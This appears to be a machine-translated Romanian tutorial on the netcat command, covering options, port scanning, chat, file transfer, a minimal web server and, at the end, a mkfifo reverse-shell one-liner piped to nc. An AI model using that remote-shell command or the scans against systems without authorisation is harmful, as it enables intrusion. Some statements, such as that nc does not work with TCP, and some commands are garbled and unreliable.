Comanda netcat
este necesară pentru trimiterea și primirea de date utilizând protocoalele TCP și UDP. Aceasta nu are un set mare de funcții, dar este suficientă pentru verificarea conexiunii și depanarea simplă. Cum să comunicați prin protocolul TCP? Această întrebare este pusă de mulți utilizatori. În acest articol vom răspunde la această întrebare și, de asemenea, vom arăta exemple de aplicare reală a comenzii.
Comanda netcat
(sau nc
) este un instrument puternic pentru lucrul cu conexiunile de rețea. Este adesea utilizată de administratorii de sistem și de dezvoltatori pentru diverse sarcini. Iată care sunt principalele funcții și caracteristici ale netcat
:
netcat
este un instrument versatil care poate fi utilizat într-o mare varietate de scenarii, de la mesagerie simplă la operațiuni complexe de rețea.
Să începem prin a analiza sintaxa și cele mai populare opțiuni:
-6
- utilizează protocolul IPv6. Valoarea implicită este -4 și respectiv IPv4;-h
- afișează ajutorul cu lista de parametri disponibili;-i
- delay - adaugă întârziere între trimiterea de șiruri sau scanarea porturilor. Este setată în secunde;-l
- modul de ascultare. Utilizat cu specificarea portului;-N
- închide conexiunea când se ajunge la sfârșitul fișierului la trimitere;-n
- lucrează direct cu adrese IP fără DNS, de asemenea dezactivează scanarea porturilor;-P
- user_name - specifică numele de utilizator pentru conectarea la proxy;-x
- address:port - specifică adresa și portul pentru conectarea la proxy;-p
- port - specifică numărul portului. În majoritatea cazurilor, portul este citit fără specificarea parametrului;-U
- utilizează socket-ul domeniului UNIX (pentru comunicarea între procese);-u
- utilizează protocolul UDP, implicit se utilizează TCP;-v
- mod detaliat. Utilizat în timpul scanării;-W
number_packets - închide conexiunea după primirea unui anumit număr de pachete;-w
timer - activează temporizatorul pentru a limita timpul de conectare. Acesta este setat în secunde;-z
- dezactivează trimiterea de date. Este utilizată în timpul scanării.Comanda are următoarea formă (parametrii adresa portului):
$ nc
În continuare vă vom spune cum să utilizați comanda.
Verificarea este principala utilizare a netcat
. Trebuie să utilizați doi parametri -vz
, să specificați adresa și portul. Puteți specifica un interval de adrese, dar în acest caz este mai bine să cerneți numai porturile deschise cu comandagrep
. Să scanăm porturile de la adresa rețelei locale:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
În același mod, să scanăm porturile UDP prin adăugarea parametrului -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Ar trebui să știți principala diferență dintre TCP și UDP. Astfel, în UDP porturile sunt întotdeauna disponibile.
Parametrul -l
este destinat pentru ascultarea portului. Este adesea suficient, dar puteți activa modul detaliat:
$ nc -nlv 8080
Amintiți-vă că atunci când utilizați protocolul TCP, portul trebuie să fie liber, altfel va apărea eroarea Deja în uz. Nu toate porturile pot fi utilizate de utilizatorii normali, de exemplu portul 80 (HTTP), cel mai probabil va fi ocupat de un alt proces și va necesita drepturi de superutilizator.
O abilitate utilă a comenzii este schimbul de date. Un exemplu simplu este o cameră de chat cu text. Pentru a porni un chat pe un computer, rulați utilitarul în modul de ascultare a portului:
$ nc -lp 8080
Pe celălalt computer, va trebui să specificați adresa primului computer și același port. De asemenea, nu uitați să verificați că portul este deschis:
$ nc 0.0.0.0 8080
În acest fel veți putea trimite și primi mesaje. Adică, comanda este destinată schimbului de fișiere. Principiul este același, cu excepția faptului că este necesar să redirecționați ieșirea către un fișier, și anume paste.txt
:
$ nc -l 8080 > paste.txt
Pe celălalt PC, fișierul copy.txt
va servi drept intrare. Nu este superfluă utilizarea parametrului -N
pentru a închide conexiunea după transferul de fișiere:
$ nc -N 0.0.0.0 8080 < copy.txt
Pentru transferul de fișiere, este important să se respecte secvența, mai întâi se deschide ascultarea și abia apoi se trimite fișierul. Comanda nc este o metodă de lucru, dar departe de a fi cea mai bună modalitate de a transfera fișiere. Există instrumente mai eficiente și mai utile pentru această sarcină.
Deoarece comanda NC nu funcționează cu protocolul TCP, aceasta permite atât trimiterea, cât și primirea de cereri HTTP. Prin urmare, utilitarul poate deveni un server web simplu. Da, nu puteți face nimic mai complicat decât o pagină albă în acest fel, dar operațiunea nu va dura aproape deloc, iar plusul este că nu trebuie să instalați nimic suplimentar.
Pe formularul de exemplu răspunsul HTTP cu fișierul index.html.
Vorbind despre np în sine, este o idee bună să setați un cronometru cu parametrul -w 1
pentru a întrerupe conexiunea dacă browserul nu o face:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Pentru a obține date de pe un site web, puteți forma o cerere și să o trimiteți la adresa și portul recomandate. Dar această modalitate este destul de complicată, este mai bine să utilizați comanda CURL corespunzătoare.
Pe baza exemplelor discutate mai sus, nu va fi dificil să concluzionați că această comandă vă permite să organizați accesul de la distanță la shell-ul computerului. Anterior, utilitarul NC avea mai mulți parametri pentru deschiderea accesului la terminal. Parametrul -e
a fost eliminat din utilitar cu mult timp în urmă, astfel încât nu va mai exista un acces simplu la terminal. Securitatea aplicației în sine a devenit mai ridicată, dar aceasta poate funcționa în continuare împreună cu altele.
Să arătăm conexiunea folosind canalul numit mkfifo. Mai întâi de toate, să începem să ascultăm portul de pe PC unde vom avea acces:
$ nc -lvnp 8080
Să mergem direct la comanda de deschidere a terminalului. Mai întâi, ștergem vechiul canal numit(rm /tmp/f
), creăm unul nou în locul său(mkfifo /tmp/f
), citim conținutul acestuia(cat /tmp/f
) și trimitem o comandă shell la ieșirea sa(sh -i 2>&1
). După aceea, rămâne să executați nc cu ieșire către canalul nostru numit(nc 0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Rețineți că aceasta este o modalitate de hacking, cu toate acestea, poate fi utilă în caz de probleme ssh
. Pentru a preveni atacul configurați o politică de securitate și un firewall.